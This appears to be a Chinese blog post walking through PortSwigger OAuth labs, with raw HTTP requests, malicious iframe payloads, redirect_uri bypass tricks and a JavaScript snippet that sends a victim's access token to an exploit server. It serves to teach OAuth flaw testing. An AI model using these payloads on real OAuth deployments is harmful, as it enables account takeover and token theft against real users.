点击上方蓝字“Ots安全”一起玩耍
在其他所有网站中,OAuth 都是需要集成的重要元素。访问委托的想法简直太棒了,因为它减少了开发人员从头开始构建注册/登录的整体头痛。但实现很简单,你的任何错误配置都可能打开大量攻击向量。
在这篇博文中,我们将介绍这一点!!!
让我们潜入……
让我们整理一下基础知识
什么是 OAUTH
根据维基国家的定义,OAuth 是一种用于访问授权的开放标准,通常用作 Internet 用户授予网站或应用程序访问其他网站上的信息但不提供密码的方式。
让我们通过一个例子来理解。
考虑构建一个将在其上实现登录功能的应用程序。一种标准的方法是从头开始编写整个代码,从用户那里获取用户名、密码字段。我们可能在每个应用程序中看到的另一种方式是通过其他平台(如 google、facebook、github)登录。在后一种情况下,不需要用户名或密码并创建一个帐户!
幕后发生了什么???!!!
当您继续使用 Google 注册/使用 facebook 注册时,应用程序会请求这些提供商提供身份验证代码。当它提供时,它基本上意味着应用程序注册的用户是有效的。因此,提供创建帐户的提示。在此过程中,应用程序还会要求提供一些特定于用户的信息,例如(姓名、电子邮件、电话、性别、出生日期),您单击 [使用谷歌注册] 表示您同意将您请求的个人信息分享给应用程序。
在 8 步过程中理解……
-
应用程序请求用户登录
-
用户选择使用谷歌登录
-
该应用程序在谷歌地址上执行发现
-
Google 登录身份验证响应 XRDS 文档
-
然后应用程序使用 OAuth 令牌请求
-
它现在被重定向到谷歌。
-
现在 google 登录用户并批准 3-rd 方身份验证。
-
Google 登录认证服务返回用户身份(OAuth 请求令牌)
-
使用此令牌,应用程序可以访问受保护的信息/功能。
漏洞
OAuth 实施起来很简单,但配置中的错误最终会导致很多攻击的可能性。让我们来了解一下他们吧!
我将使用来自 Portswigger 的实验室参考资料来解释很多场景。
通过 OAUTH 绕过身份验证
如果受害者的用户名和电子邮件已知,则提供您的用户名和密码并登录到其他人的帐户。
让我们来看看提出的一系列请求。
1.
POST /interaction/CYCPIUCPxSXr0QS2BDJlf/login HTTP/1.1
Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net
Connection: close
Content-Length: 30
Cache-Control: max-age=0
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net/interaction/CYCPIUCPxSXr0QS2BDJlf
Accept-Language: en-US,en;q=0.9
Cookie: _interaction=CYCPIUCPxSXr0QS2BDJlf
username=wiener&password=peter
2.------------------------------------------------------
GET /auth/CYCPIUCPxSXr0QS2BDJlf HTTP/1.1
Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
Referer: https://ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net/interaction/CYCPIUCPxSXr0QS2BDJlf
Accept-Language: en-US,en;q=0.9
Cookie: _interaction_resume=CYCPIUCPxSXr0QS2BDJlf
3.----------------------------------------------------------
GET /interaction/CYCPIUCPxSXr0QS2BDJlf HTTP/1.1
Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
Referer: https://ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net/interaction/CYCPIUCPxSXr0QS2BDJlf
Accept-Language: en-US,en;q=0.9
Cookie: _interaction=CYCPIUCPxSXr0QS2BDJlf; _session=DelOa4UpUs-sBdgqZvQ33; _session.legacy=DelOa4UpUs-sBdgqZvQ33
4.--------------------------------------------------------
POST /interaction/CYCPIUCPxSXr0QS2BDJlf/confirm HTTP/1.1
Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net
Connection: close
Content-Length: 0
Cache-Control: max-age=0
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net/interaction/CYCPIUCPxSXr0QS2BDJlf
Accept-Language: en-US,en;q=0.9
Cookie: _interaction=CYCPIUCPxSXr0QS2BDJlf; _session=DelOa4UpUs-sBdgqZvQ33; _session.legacy=DelOa4UpUs-sBdgqZvQ33
5.-------------------------------------------------------
GET /auth/CYCPIUCPxSXr0QS2BDJlf HTTP/1.1
Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
Referer: https://ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net/interaction/CYCPIUCPxSXr0QS2BDJlf
Accept-Language: en-US,en;q=0.9
Cookie: _interaction_resume=CYCPIUCPxSXr0QS2BDJlf; _session=DelOa4UpUs-sBdgqZvQ33; _session.legacy=DelOa4UpUs-sBdgqZvQ33
6.----------------------------------------------
GET /oauth-callback HTTP/1.1
Host: ace41f931f34f85b808a5f6300700056.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
Referer: https://ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net/
Accept-Language: en-US,en;q=0.9
Cookie: session=D37ULnaVyW09DQ4H8PXCOSbyMD5f4AhX
7.-----------------------------------------
OPTIONS /me HTTP/1.1
Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net
Connection: close
Accept: /
Access-Control-Request-Method: GET
Access-Control-Request-Headers: authorization,content-type
Origin: https://ace41f931f34f85b808a5f6300700056.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Sec-Fetch-Dest: empty
Referer: https://ace41f931f34f85b808a5f6300700056.web-security-academy.net/
Accept-Language: en-US,en;q=0.9
8.-------------------------------------------
POST /authenticate HTTP/1.1
Host: ace41f931f34f85b808a5f6300700056.web-security-academy.net
Connection: close
Content-Length: 103
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
Accept: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Content-Type: application/json
Origin: https://ace41f931f34f85b808a5f6300700056.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ace41f931f34f85b808a5f6300700056.web-security-academy.net/oauth-callback
Accept-Language: en-US,en;q=0.9
Cookie: session=D37ULnaVyW09DQ4H8PXCOSbyMD5f4AhX
{"email":"[email protected]","username":"wiener","token":"0AaHOxahdDvGKUDewvb-e9RgQjCQL7vkIQeQHLlqcDp"}
对于第 5 个请求,收到的响应是身份验证令牌,该令牌将在请求 8 中进一步用于验证用户的有效性,
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction_resume=; path=/auth/CYCPIUCPxSXr0QS2BDJlf; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=lax; secure; httponly
Set-Cookie: _session=Coe1l5b1cz92m-61u8O6X; path=/; expires=Sat, 26 Jun 2021 18:06:32 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=Coe1l5b1cz92m-61u8O6X; path=/; expires=Sat, 26 Jun 2021 18:06:32 GMT; secure; httponly
Location: https://ace41f931f34f85b808a5f6300700056.web-security-academy.net/oauth-callback#access_token=0AaHOxahdDvGKUDewvb-e9RgQjCQL7vkIQeQHLlqcDp&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email
Content-Type: text/html; charset=utf-8
Date: Sat, 12 Jun 2021 18:06:32 GMT
Connection: close
Content-Length: 459
Redirecting to https://ace41f931f34f85b808a5f6300700056.web-security-academy.net/oauth-callback#access_token=0AaHOxahdDvGKUDewvb-e9RgQjCQL7vkIQeQHLlqcDp&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email.
这里的令牌就像密码一样。如果服务器上的令牌验证实施不当,我们将能够使用任何已知的电子邮件和用户名登录。在请求 8 (POST /authenticate) 中,将电子邮件和用户名更改为存在的任何其他有效帐户,瞧您绕过了身份验证流程。
有缺陷的CSRF
在OAUTH的众多配置参数中,状态参数是负责CSRF保护的参数。state 参数包含一个无法猜测的代码,该代码与用户的会话有某种关系。此参数是 客户端应用程序和 OAuth 服务之间每个请求的一部分。
因此,如果客户端应用程序不实现此参数,从攻击者的角度来看,这将成为一个有趣的场景。我们来看一下…。
有一个登录页面可将您带到您的帐户部分。
在上图中,可以选择附加社交媒体资料,以便用户可以直接通过社交媒体登录。
当您单击按钮(附加社交资料)时,会发出以下请求……
GET /auth?client_id=zosqz2h4uvjidu5j7vsui&redirect_uri=https://ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: ac751f781e3b1a7680f412b402720050.web-security-academy.net
Connection: close
它包含通常的客户端 ID,要重定向到的 uri。url 正在请求 oauth-linking 代码,其响应类型应为 code
服务器现在以 302 重定向响应,其中包含可用于进一步请求的代码......
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net/oauth-linking?code=a9GeDOhrtbkeq22sfrbN1OxXOcYvS05hVlaGwWR_Qb7
Content-Type: text/html; charset=utf-8
Set-Cookie: _session=SBzywXfvfIcUVpSWqDzkd; path=/; expires=Sun, 27 Jun 2021 14:11:08 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=SBzywXfvfIcUVpSWqDzkd; path=/; expires=Sun, 27 Jun 2021 14:11:08 GMT; secure; httponly
Date: Sun, 13 Jun 2021 14:11:08 GMT
Connection: close
X-XSS-Protection: 0
Content-Length: 287
Redirecting to https://ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net/oauth-linking?code=a9GeDOhrtbkeq22sfrbN1OxXOcYvS05hVlaGwWR_Qb7.
现在放弃下一个请求..为什么?删除此请求仍将保持代码有效,我们将通过漏洞利用服务器将此代码提供给受害者(即管理员),构建恶意 iframe。
GET /oauth-linking?code=qrdoU8tTIo72hcLAHC2LCEIwMTmC7PbGme6jfEN_frN HTTP/1.1
Host: ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net
.....
当管理员帐户加载此 iframe 时,他的帐户会链接到我们的博客网站……
<iframe src="https://ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net/oauth-linking?code=qrdoU8tTIo72hcLAHC2LCEIwMTmC7PbGme6jfEN_frN"></iframe>
您现在可以从您的帐户注销,关闭代理并使用社交媒体登录。
您现在将看到管理面板,因为缺乏 csrf 保护最终将管理员的帐户链接到您的社交媒体个人资料,因此您可以访问敏感功能。
泄漏令牌..
您可以在此处窃取用户的授权码或访问令牌。通过窃取有效代码,攻击者可以轻松访问受害者的数据。
根据授权类型,代码或令牌通过受害者的浏览器发送到 redirect_uri 中指定的 /callback。
如果 OAUTH 没有正确验证 redirect_uri,则可能会生成恶意的 redirect_uri,如果用户访问,则可以启动 OAUTH 流,并将有效代码发送到攻击者控制的 redirect_uri。
考虑以下示例:-
/auth 端点进行具有 client_id 和 redirect_uri 的 OAuth 调用
GET /auth?client_id=v8n9jie8q0sn2yamb707l&redirect_uri=https://ac201fe01f15524580121d75000600b9.web-security-academy.nesdfts/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: ac021fa01fa9528b80e21d750211002a.web-security-academy.net
Connection: close
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ac201fe01f15524580121d75000600b9.web-security-academy.net/
Accept-Language: en-US,en;q=0.9
Cookie: _session=fK4MwbHLi_4KDyrsnx5ZL; _session.legacy=fK4MwbHLi_4KDyrsnx5ZL
恶意 HTML 文件可以如下创建,其中 redirect_uri 是漏洞利用服务器的 url。您也可以使用任何其他域名。
<iframe src="https://ac021fa01fa9528b80e21d750211002a.web-security-academy.net/auth?client_id=v8n9jie8q0sn2yamb707l&redirect_uri=https://acd41f591fd952d8800e1d650170002e.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email"></iframe>
如果正在验证 URI,请尝试绕过验证。例如:如果验证只允许 example.com 作为有效 URI,请尝试 example.com.attacker.com 是否正常工作。现在,attacker.com 是攻击者拥有的网站,example.com 成为其子域。
当受害者打开攻击者域上的恶意 html 文件时,iframe 会自动触发,其中包含 OAuth 调用。
现在攻击者可以检查他的日志以查看受害者帐户的代码。请参考下图。
收到代码后,可以生成一个有效的回调 url 来访问受害者的帐户。
https://ac201fe01f15524580121d75000600b9.web-security-academy.net/oauth-callback?code=I64BqYSfQ5lT2657Fc-yX5nUji7kW5JTej90uDwMRlA
就在那里!正在访问管理面板。
这是登录的管理员帐户
通过开放重定向窃取 OAuth 令牌
通常,您会遇到无法使用外部 URI 的情况。但这并不意味着攻击场景是不可能的。
如果您可以在 /oauth/callback 之后利用目录遍历,例如,https://example.com/oauth/callback../../../test/path 可能会被后端解释为 https://example。 com/测试/路径
下面是来自 portswigger oauth labs 的一个场景,其中访问下一篇文章的 url(每个博客文章上都有按钮)容易受到目录遍历的影响。
首先,验证应用程序中是否存在目录遍历。对于我们的案例,它位于下一个帖子按钮中
https://ac6d1fad1ead47868027a165028800dd.web-security-academy.net/oauth-callback/../post?postId=1
GET /auth?client_id=tpt9tjjjohaxui5ur4oa1&redirect_uri=https://ac4c1f0d1e46478c800fa1d30070006e.web-security-academy.net/oauth-callback/../post?postId=1&response_type=token&nonce=629526204&scope=openid%20profile%20email HTTP/1.1
Host: ac6d1fad1ead47868027a165028800dd.web-security-academy.net
Connection: close
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ac4c1f0d1e46478c800fa1d30070006e.web-security-academy.net/
Accept-Language: en-US,en;q=0.9
Cookie: _session=hn2y4iWOII0sO0AMiGXiP; _session.legacy=hn2y4iWOII0sO0AMiGXiP
您还将看到 PostId 参数容易受到 open-redirect 的攻击。因此,即使对 redirect_uri 参数进行了验证,您也可以提供漏洞利用服务器的 URL。如果您访问以下 URL,您将看到您被重定向到漏洞利用服务器的 /exploit 并显示“Hello World!” 以及 URL 片段中的访问令牌。
https://ac6d1fad1ead47868027a165028800dd.web-security-academy.net/auth?client_id=tpt9tjjjohaxui5ur4oa1&redirect_uri=https://ac4c1f0d1e46478c800fa1d30070006e.web-security-academy.net/oauth-callback/../post/next?path=https://ac6e1f671eeb47e480eea1080176006e.web-security-academy.net/exploit&response_type=token&nonce=629526204&scope=openid%20profile%20email
访问链接时,可以看到URL中指定的access token,但这个是当前登录用户对应的access token。任务是从 url 中提取 admin 的访问令牌。
下面是提取 admin 访问令牌并且可以在访问日志中访问的脚本。
if (!document.location.hash) { window.location = 'https://ac6d1fad1ead47868027a165028800dd.web-security-academy.net/auth?client_id=tpt9tjjjohaxui5ur4oa1&redirect_uri=https://ac4c1f0d1e46478c800fa1d30070006e.web-security-academy.net/oauth-callback/../post/next?path=https://ac6e1f671eeb47e480eea1080176006e.web-security-academy.net/exploit&response_type=token&nonce=629526204&scope=openid%20profile%20email' } else { window.location = '/?'+document.location.hash.substr(1) }
管理员用户的访问令牌在日志中泄露
任务是找到管理员用户的敏感数据。在所有请求中,您都会找到一个端点 /me,其中包含特定于帐户的信息。您可以使用之前作为 Authorization Bearer 的一部分获得的访问令牌并访问 /me 端点
在那里你得到了 api 密钥。提交解决方案框中的密钥以解决实验室问题。
结语
这些是来自 Portswigger 的许多有趣的场景。您可以在实际应用程序中真正找到的场景。要测试的重要参数始终是 redirect_uri。另外,检查 state 参数是否存在。如果不存在,请检查 CSRF 漏洞。
尝试组合多个错误以产生更大的影响,其中之一是目录遍历(如此处所述)
这标志着这篇文章的结束。希望你学到了一些东西并喜欢阅读。
下一篇见。在那之前,快乐狩猎🙂
参考
-
https://medium.com/age-of-awareness/what-happens-when-you-log-in-with-your-facebook-or-google-account-a42776922e70
-
https://portswigger.net/web-security/oauth
原文始发于微信公众号(Ots安全):【渗透测试】 OWASP 前 10 寻找 OAUTH 漏洞的方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论